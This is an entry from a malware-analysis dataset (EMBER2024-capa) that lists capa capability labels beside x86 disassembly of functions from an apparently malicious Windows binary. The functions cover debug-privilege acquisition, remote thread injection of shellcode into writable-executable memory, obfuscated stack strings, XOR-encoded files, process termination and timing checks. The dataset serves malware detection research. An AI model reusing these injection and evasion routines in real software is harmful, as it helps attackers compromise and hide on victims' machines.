joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10009330
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov al, 0x70
mov cl, 0x69
mov byte [ebp - 0x1f], al
mov byte [ebp - 0x1e], al
mov byte [ebp - 0x1c], cl
mov byte [ebp - 0x18], cl
mov byte [ebp - 0xf], cl
mov al, 0x74
mov dl, 0x65
mov cl, 0x79
push ebx
mov byte [ebp - 0x19], al
mov byte [ebp - 0x13], dl
mov byte [ebp - 0xe], al
mov byte [ebp - 0xd], cl
mov byte [ebp - 7], cl
mov byte [ebp - 5], al
mov byte [ebp - 4], dl
mov bl, 0x53
lea eax, [ebp - 0x20]
lea ecx, [ebp - 0x14]
lea edx, [ebp - 8]
push esi
push edi
mov byte [ebp - 0x20], 0x41
mov byte [ebp - 0x1d], 0x6c
mov byte [ebp - 0x1b], 0x63
mov byte [ebp - 0x1a], 0x61
mov byte [ebp - 0x17], 0x6f
mov byte [ebp - 0x16], 0x6e
mov byte [ebp - 0x15], 0
mov byte [ebp - 0x14], bl
mov byte [ebp - 0x12], 0x63
mov byte [ebp - 0x11], 0x75
mov byte [ebp - 0x10], 0x72
mov byte [ebp - 0xc], 0
mov byte [ebp - 8], bl
mov byte [ebp - 6], 0x73
mov byte [ebp - 3], 0x6d
mov byte [ebp - 2], 0
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea edi, [ebp - 0x2c]
mov ebx, 3
mov eax, dword [edi]
push eax
push 0
call dword [0x10003020]
mov esi, eax
test esi, esi
je 0x100093ed
push 0
push esi
call dword [0x10003024]
push esi
call dword [0x10003028]
add edi, 4
dec ebx
jne 0x100093cc
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10009480
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x1c
lea eax, [esp]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [fcn.10003014]
test eax, eax
jne 0x100094a1
xor al, al
add esp, 0x1c
ret
lea ecx, [esp + 4]
push ecx
push 0x100017e0
push 0
call dword [fcn.10003018]
test eax, eax
jne 0x100094c8
mov edx, dword [esp]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
add esp, 0x1c
ret
mov eax, dword [esp + 4]
mov ecx, dword [esp + 8]
push 0
push 0
lea edx, [esp + 0x14]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 8]
push 0x10
push edx
push 0
push eax
mov dword [esp + 0x24], 1
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x30], 2
call dword [fcn.1000301c]
test eax, eax
jne 0x10009515
mov ecx, dword [esp]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
add esp, 0x1c
ret
mov edx, dword [esp]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
add esp, 0x1c
ret
Function at 0x100095f0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Link many functions at runtime
Spawn thread to rwx shellcode

Disassembly:
sub esp, 0xf8
push ebx
push ebp
push esi
push edi
call fcn.10009480
mov eax, dword [esp + 0x10c]
push eax
call fcn.1000e300
add esp, 4
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
mov dword [esp + 0x10], eax
jne 0x10009632
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0xf8
ret
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, 0x3d
xor eax, eax
lea edi, [esp + 0x14]
rep stosd dword es:[edi], eax
push 0x1000138c
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push 0x1000188c
push edi
call esi
push 0x1000187c
push edi
mov dword [esp + 0x1c], eax
call esi
push 0x10001868
push edi
mov dword [esp + 0x20], eax
call esi
push 0x10001858
push edi
mov dword [esp + 0x24], eax
call esi
push 0x10001848
push edi
mov dword [esp + 0x28], eax
call esi
push 0x10001838
push edi
mov dword [esp + 0x2c], eax
call esi
push 0x10001824
push edi
mov dword [esp + 0x30], eax
call esi
mov ebp, dword [sym.imp.KERNEL32.dll_FreeLibrary]
push edi
mov dword [esp + 0x30], eax
call ebp
push 0x10001818
call ebx
mov edi, eax
push 0x10001808
push edi
call esi
push edi
mov dword [esp + 0x34], eax
call ebp
push 0x10001240
call ebx
mov edi, eax
push 0x10001800
push edi
call esi
push 0x100017f4
push edi
mov dword [esp + 0x40], eax
call esi
push edi
mov dword [esp + 0x38], eax
call ebp
mov ecx, dword [esp + 0x110]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [esp + 0x40]
push ecx
push edx
call esi
lea eax, [esp + 0xa4]
push 0x1000147c
push eax
call esi
lea ecx, [esp + 0x40]
lea edx, [esp + 0xa4]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 4
push 0x1000
push 0xf4
push 0
mov esi, dword [esp + 0x20]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push esi
call ebx
mov edi, eax
test edi, edi
jne 0x10009752
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0xf8
ret
mov ebp, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
lea eax, [esp + 0x18]
push 0xf4
push eax
push edi
push esi
call ebp
test eax, eax
jne 0x10009779
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0xf8
ret
push 0x40
push 0x1000
push 0x2800
push 0
push esi
call ebx
mov ebx, eax
test ebx, ebx
jne 0x1000979d
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0xf8
ret
push 0
push 0x2800
push 0x10009530
push ebx
push esi
call ebp
test eax, eax
jne 0x100097be
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0xf8
ret
push 0
push 0
push edi
push ebx
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
pop edi
pop esi
test eax, eax
pop ebp
pop ebx
setne al
add esp, 0xf8
ret
Function at 0x100097e0
Capabilities:
Check if file exists
Delete file
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100160e8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x108
mov eax, dword [ebp + 8]
push esi
push edi
mov esi, ecx
push eax
mov dword [ebp - 0x10], esi
call fcn.1000a820
lea ecx, [ebp - 0x114]
push 0x104
push ecx
mov dword [ebp - 4], 0
mov dword [esi], 0x100032cc
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edx, [ebp - 0x114]
push 0x100014d4
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea ecx, [ebp - 0x114]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x1000988f
push 0
push 0x80
push 2
push 0
push 2
lea edx, [ebp - 0x114]
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
test eax, eax
je 0x100098a3
push eax
lea eax, [esi + 0x10]
push eax
call edi
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x100098b4
lea ecx, [esi + 0x110]
push eax
push ecx
call edi
mov eax, dword [ebp + 0x18]
test eax, eax
je 0x100098c3
push eax
push 0x10017fcc
call edi
mov edx, dword [ebp + 0x1c]
mov eax, dword [ebp + 0x10]
push 1
push 0
push 0
push 0
push 0x10008b50
push 0
mov dword [0x100014d0], edx
push 0
mov dword [esi + 0x9e54], eax
mov dword [esi + 0x9e50], 0
mov byte [esi + 0x9e58], 0
call fcn.1000e280
mov ecx, dword [esi + 0x9e50]
add esp, 0x1c
mov dword [esi + ecx*4 + 0x210], eax
mov eax, dword [esi + 0x9e50]
mov ecx, dword [ebp - 0xc]
inc eax
mov dword [esi + 0x9e50], eax
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 0x18

Function at 0x10009c40
Capabilities:
Get common file path

Disassembly:
sub esp, 0x34
lea eax, [esp]
push 0x32
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ecx, [esp]
push 0x100018e8
push ecx
call dword [sym.imp.MSVCRT.dll_strtok]
add esp, 8
test eax, eax
je 0x10009c7b
push eax
push 0x100018b0
push 0x10017f7c
call dword [fcn.10003174]
add esp, 0xc
mov eax, 0x10017f7c
add esp, 0x34
ret
Function at 0x10009c90
Capabilities:
Delete file
Get common file path
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push esi
mov esi, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 6]
mov eax, dword [ebp - 8]
and ecx, 0xffff
and edx, 0xffff
push ecx
mov ecx, dword [ebp - 0xa]
and eax, 0xffff
push edx
mov edx, dword [ebp - 0xe]
push eax
mov eax, dword [ebp - 0x10]
and ecx, 0xffff
and edx, 0xffff
push ecx
and eax, 0xffff
push edx
push eax
lea ecx, [ebp - 0x114]
push 0x100018fc
push ecx
call dword [fcn.10003174]
add esp, 0x20
lea edx, [ebp - 0x114]
push edx
call fcn.10009c40
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 4
lea eax, [ebp - 0x114]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea ecx, [ebp - 0x218]
push 0x104
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edx, [ebp - 0x218]
push 0x100014d4
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp dword [esi + 0x9e54], 0x120
je 0x10009d7f
lea ecx, [esi + 0x10]
push ecx
push 0x100018ec
call fcn.100095f0
add esp, 8
jmp 0x10009d8b
lea edx, [esi + 0x10]
push edx
call fcn.10008140
add esp, 4
add esi, 0x110
push esi
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10009ef0
Capabilities:
Encode data using xor
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x100180d4]
push ebx
push esi
push edi
push 0
push 0x80
push 4
push 0
push 2
add eax, 0xd
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
push 0
push ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x10009f43
push 2
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, eax
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
test edi, edi
jle 0x10009f7f
mov ecx, dword [ebp + 8]
mov edx, edi
sub ecx, esi
mov bl, byte [ecx + eax]
xor bl, 0x62
mov byte [eax], bl
inc eax
dec edx
jne 0x10009f70
mov ebx, dword [ebp - 8]
lea edx, [ebp - 4]
push 0
push edx
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000a350
Capabilities:
Read file via mapping

Disassembly:
sub esp, 0x28
lea ecx, [esp + 0x14]
push esi
mov esi, 0x100032dc
lea eax, [esp + 0x18]
push ecx
lea ecx, [esp + 8]
mov dword [esp + 8], esi
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0xc
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], 0
call fcn.1000a420
mov dword [esp + 8], eax
lea edx, [esp + 0xc]
neg eax
sbb eax, eax
push 0x10001938
push 0x594
and eax, edx
push 0
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
test eax, eax
mov dword [0x100180d8], eax
jne 0x1000a3c3
mov eax, dword [esp + 8]
mov dword [esp + 4], esi
jmp 0x1000a3e3
push 0
push 0
push 0
push 6
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [0x100180d4], eax
mov dword [esp + 4], esi
test eax, eax
mov eax, dword [esp + 8]
jne 0x1000a3fe
test eax, eax
je 0x1000a3f7
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor al, al
pop esi
add esp, 0x28
ret
test eax, eax
je 0x1000a412
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov al, 1
pop esi
add esp, 0x28
ret

Function at 0x1000a5a0
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
call fcn.1000a350
test al, al
jne 0x1000a5aa
ret
push edi
mov edi, dword [0x100180d4]
mov ecx, 0x165
xor eax, eax
rep stosd dword es:[edi], eax
mov byte [0x100180d0], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x100180cc], eax
mov eax, dword [0x100180d4]
push 0x104
mov dword [eax + 8], 0
mov ecx, dword [0x100180d4]
xor eax, eax
mov dword [ecx + 4], 0
mov edx, dword [0x100180d4]
mov ecx, 0x20
mov dword [edx], 0
mov edx, dword [0x100180d4]
lea edi, [edx + 0x511]
rep stosd dword es:[edi], eax
mov eax, dword [0x100180d4]
add eax, 0xd
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov ecx, dword [0x100180d4]
push 0x100014d4
add ecx, 0xd
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov edx, dword [0x100180d4]
add edx, 0xd
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
pop edi
je 0x1000a650
mov eax, dword [0x100180d4]
mov byte [eax + 0xc], 1
jmp 0x1000a65a
mov ecx, dword [0x100180d4]
mov byte [ecx + 0xc], 0
mov edx, dword [0x100180d4]
mov eax, dword [edx + 4]
test eax, eax
jne 0x1000a685
mov eax, dword [0x100180dc]
push 0
push eax
push 0x1000a110
push 3
call dword [fcn.10003154]
mov ecx, dword [0x100180d4]
mov dword [ecx + 4], eax
mov al, 1
ret
Function at 0x1000a760
Capabilities:
Encode data using xor
Get common file path
Get file size
Read file on windows

Disassembly:
sub esp, 0x108
push ebx
push ebp
push edi
lea eax, [esp + 0x10]
xor edi, edi
push 0x104
mov ebp, ecx
push eax
mov dword [esp + 0x14], edi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp + 0x10]
push 0x100014d4
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push edi
push 0x80
push 3
push edi
push 1
lea edx, [esp + 0x24]
push 0x80000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x1000a802
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
lea eax, [esp + 0x10]
push 0
push eax
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
test edi, edi
jbe 0x1000a7ed
mov cl, byte [eax + esi]
xor cl, 0x62
mov byte [eax + esi], cl
inc eax
cmp eax, edi
jb 0x1000a7df
push edi
push esi
mov ecx, ebp
call fcn.1000a700
push esi
mov edi, eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop esi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop ebp
pop ebx
add esp, 0x108
ret
Function at 0x1000c000
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
push edi
push 0x1000189c
mov esi, ecx
push 0x10001210
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
xor edi, edi
cmp eax, edi
je 0x1000c1c5
cmp dword [esi + 0x1c], edi
je 0x1000c1c5
mov ecx, esi
call fcn.1000c600
lea ebx, [esi + 4]
push 1
push ebx
mov ecx, esi
mov dword [esi + 0x20], edi
call fcn.1000c420
lea eax, [ebp - 0x10]
push eax
call dword [0x100030f0]
lea ecx, [ebp - 0x10]
push 8
push ecx
mov ecx, esi
call fcn.1000c420
lea edx, [ebp - 0x24]
mov dword [ebp - 0x24], 0x14
push edx
call dword [0x100030f4]
test eax, eax
je 0x1000c0ad
cmp dword [ebp - 0x20], 1
jne 0x1000c0ad
mov ecx, dword [ebp - 0x1c]
lea eax, [esi + 0xcc]
cmp ecx, dword [eax]
je 0x1000c09a
inc edi
add eax, 4
cmp edi, 0x10
jl 0x1000c08d
push ecx
call dword [0x10003148]
cmp edi, 0x10
jne 0x1000c0a9
or edi, 0xffffffff
mov eax, edi
jmp 0x1000c0b0
or eax, 0xffffffff
mov byte [ebp - 1], al
lea eax, [ebp - 1]
push 1
push eax
mov ecx, esi
call fcn.1000c420
cmp byte [ebx], 2
jne 0x1000c117
mov eax, dword [esi + 0x68]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
mov eax, dword [esi + 0x44]
push ecx
mov ecx, dword [esi + 0x80]
push edx
push eax
push ecx
mov ecx, esi
call fcn.1000c640
mov edx, dword [esi + 0x68]
mov ecx, dword [esi + 0x20]
mov eax, dword [edx + 0x14]
mov edx, dword [esi + 0x60]
push eax
mov eax, dword [esi + 0x1c]
add ecx, eax
mov eax, dword [esi + 0x78]
push ecx
push edx
push eax
mov ecx, esi
call fcn.1000c6a0
mov ecx, dword [esi + 0x20]
pop edi
add eax, ecx
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
mov eax, dword [esi + 0x1c]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 0xc]
xor edx, edx
lea eax, [ecx - 0x13]
test eax, eax
setl dl
dec edx
and edx, eax
mov eax, dword [0x100180e4]
cmp ecx, eax
mov edi, edx
je 0x1000c143
push edi
mov ecx, esi
call fcn.1000c1d0
test al, al
je 0x1000c143
add edi, 0x13
jmp 0x1000c146
mov edi, dword [esi + 0x30]
cmp edi, dword [esi + 0x2c]
jge 0x1000c164
push edi
mov ecx, esi
call fcn.1000c1d0
test al, al
je 0x1000c15a
add edi, 0x13
mov eax, dword [esi + 0x2c]
add edi, 0x13
cmp edi, eax
jl 0x1000c14b
mov eax, dword [ebp - 0xc]
mov ecx, 0x13
mov dword [0x100180e4], eax
mov eax, dword [esi + 0x30]
add eax, 3
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
cdq
idiv ecx
mov eax, dword [ebp + 8]
lea edi, [esi + 0x14]
mov dword [esi + 0x30], edx
mov edx, dword [esi + 0x20]
mov dword [eax], edx
call ebx
mov edx, dword [edi]
mov ecx, dword [esi + 0x18]
sub eax, edx
cmp eax, ecx
jae 0x1000c1aa
nop
nop
call ebx
mov edx, dword [edi]
mov ecx, dword [esi + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x1000c19b
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
call ebx
push eax
push edi
call dword [ebp - 8]
mov eax, dword [esi + 0x1c]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x1000c9e0
Capabilities:
Terminate process
Terminate thread

Disassembly:
push 0xffffffffffffffff
push 0x10016238
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
mov dword [esi], 0x10003324
push 0x100017f4
push 0x10001240
mov dword [esp + 0x20], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ebx, eax
mov eax, dword [esi + 0x28]
push 0
push eax
call edi
mov ecx, dword [esi + 0x20]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, dword [esi + 0x24]
push 0
push edx
call edi
mov eax, dword [esi + 0x2c]
push 0x7d0
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [esi + 0x2c]
push 0
push ecx
call edi
mov eax, dword [esi + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
test eax, eax
je 0x1000ca6f
push eax
call edi
mov eax, dword [esi + 0x14]
test eax, eax
je 0x1000ca79
push eax
call edi
mov eax, dword [esi + 0x18]
test eax, eax
je 0x1000ca83
push eax
call edi
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x1000ca8d
push eax
call edi
mov edx, dword [esi + 0x10]
push edx
call ebx
mov eax, dword [esi + 0x14]
push eax
call ebx
mov ecx, dword [esi + 0x18]
push ecx
call ebx
mov edx, dword [esi + 0x1c]
push edx
call ebx
mov eax, dword [esi + 0x20]
push eax
call ebx
mov ecx, dword [esi + 0x24]
push ecx
call ebx
mov edx, dword [esi + 0x2c]
push edx
call ebx
mov eax, dword [esi + 0x28]
push eax
call ebx
mov ecx, esi
mov dword [esp + 0x18], 0xffffffff
call fcn.1000a870
mov ecx, dword [esp + 0x10]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x10
ret

Function at 0x1000cdd0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, dword [ebp + 8]
lea eax, [ebp - 4]
push eax
push ecx
mov dword [ebp - 4], 0
call fcn.1000cc50
add esp, 8
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
xor ecx, ecx
test eax, eax
jle 0x1000ce22
push ebx
mov edx, dword [ebp - 4]
mov bl, byte [ecx + edx]
add bl, 0x7a
mov byte [ecx + edx], bl
mov edx, dword [ebp - 4]
mov bl, byte [ecx + edx]
xor bl, 0x19
mov byte [ecx + edx], bl
inc ecx
cmp ecx, eax
jl 0x1000cdfd
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x1000d310
Capabilities:
Get memory capacity

Disassembly:
sub esp, 0x274
push ebx
push esi
lea eax, [esp + 0x58]
push edi
push eax
mov byte [esp + 0x5c], 0x66
mov byte [esp + 0x136], 0
mov dword [esp + 0x60], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov edx, dword [esp + 0x284]
lea ecx, [esp + 0x180]
push 0x100
push ecx
push edx
call fcn.1000d270
mov ebx, dword [esp + 0x298]
xor eax, eax
mov dword [esp + 0x1c], eax
add esp, 0xc
mov dword [esp + 0x14], eax
lea ecx, [esp + 0xc]
mov dword [esp + 0x18], eax
lea edx, [esp + 0x10]
mov dword [esp + 0x1c], eax
mov eax, dword [ebx + 0xa8]
push ecx
push edx
push eax
mov dword [esp + 0x18], 0x10
call dword [fcn.10003218]
mov ecx, dword [esp + 0x14]
lea esi, [esp + 0x180]
mov dword [esp + 0xfc], ecx
mov ecx, 0xc
lea edi, [esp + 0x100]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
call fcn.1000d1d0
mov dword [esp + 0xf8], eax
call fcn.1000d230
mov edx, dword [esp + 0x290]
mov byte [esp + 0x132], al
mov eax, dword [0x100180dc]
push 0x10001a98
push eax
mov dword [esp + 0x13c], edx
call fcn.10008390
add esp, 8
test eax, eax
jne 0x1000d3fa
pop edi
pop esi
or eax, 0xffffffff
pop ebx
add esp, 0x274
ret
add eax, 6
push eax
call fcn.1000cdd0
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x138]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x38]
mov dword [esp + 0x38], 0x20
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov edx, dword [esp + 0x40]
lea eax, [esp + 0x20]
shr edx, 0x14
push eax
mov dword [esp + 0x170], edx
call fcn.1000cf50
mov eax, dword [esp + 0x38]
mov ecx, dword [esp + 0x30]
mul dword [esp + 0x34]
add esp, 4
push 0
push ecx
push edx
push eax
call fcn.10015810
mov ecx, dword [esp + 0x24]
push ecx
mov ecx, dword [esp + 0x24]
push ecx
push edx
push eax
call fcn.10015810
mov ecx, 0x1e
call fcn.100157f0
mov edx, dword [esp + 0x288]
mov dword [esp + 0x170], eax
push 0x128
mov eax, dword [edx]
mov dword [esp + 0x178], eax
lea eax, [esp + 0x5c]
mov ecx, dword [edx + 4]
push eax
mov dword [esp + 0x180], ecx
mov ecx, ebx
mov dx, word [edx + 8]
mov word [esp + 0x184], dx
call fcn.10005820
pop edi
pop esi
pop ebx
add esp, 0x274
ret
Function at 0x1000d94e
Capabilities:
Link many functions at runtime

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x1c]
mov ebx, 0x104
push ebx
mov esi, 0x100180f0
push dword [edi]
push esi
call dword [sym.imp.MSVCRT.dll_strncpy]
push ebx
push dword [edi]
push esi
call dword [sym.imp.MSVCRT.dll_wcstombs]
add esp, 0x18
push 0x1000daa6
push esi
call dword [0x10002fe0]
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, 0x10001240
push 0x10001b30
push ebp
mov dword [0x100180ec], eax
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
cmp dword [0x100180ec], 0
je 0x1000da58
call eax
push 1
push 0
push 2
call fcn.1000da5e
push 0
push 0
push 4
call fcn.1000da5e
add esp, 0x18
push 0x10001ab0
push ebp
call edi
push eax
call ebx
push esi
mov dword [esp + 0x14], eax
call fcn.10008580
mov dword [0x100180e8], eax
xor eax, eax
push eax
push eax
push eax
push esi
push 0x1000d54a
push eax
push eax
call fcn.1000e280
add esp, 0x20
mov dword [esp + 0x1c], eax
mov esi, 0x10001800
push esi
push ebp
call edi
push eax
call ebx
push 0x64
call eax
mov eax, dword [0x100181f4]
cmp eax, 3
je 0x1000da1f
cmp eax, 1
jne 0x1000da05
push 0xffffffffffffffff
push dword [esp + 0x20]
call dword [esp + 0x18]
push 0x100017f4
push ebp
call edi
push eax
call ebx
push dword [esp + 0x1c]
call eax
push esi
push ebp
call edi
push eax
call ebx
cmp dword [0x100180e8], 0x120
mov esi, eax
jne 0x1000da58
push 0x2710
call esi
jmp 0x1000da4f
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x1000ddb0
Capabilities:
Acquire debug privileges
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
push 1
push 0x100017e0
mov dword [ebp - 4], edi
call fcn.1000e040
mov ebx, dword [ebp + 0xc]
add esp, 8
xor esi, esi
test ebx, ebx
jbe 0x1000de04
mov eax, dword [ebp + 8]
mov ecx, dword [esi + eax]
push ecx
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add esi, 4
cmp esi, ebx
jb 0x1000ddd4
mov edi, dword [ebp - 4]
push 0
push 0x100017e0
call fcn.1000e040
add esp, 8
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, edi
call fcn.1000dc20
mov ecx, edi
call fcn.1000dc50
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8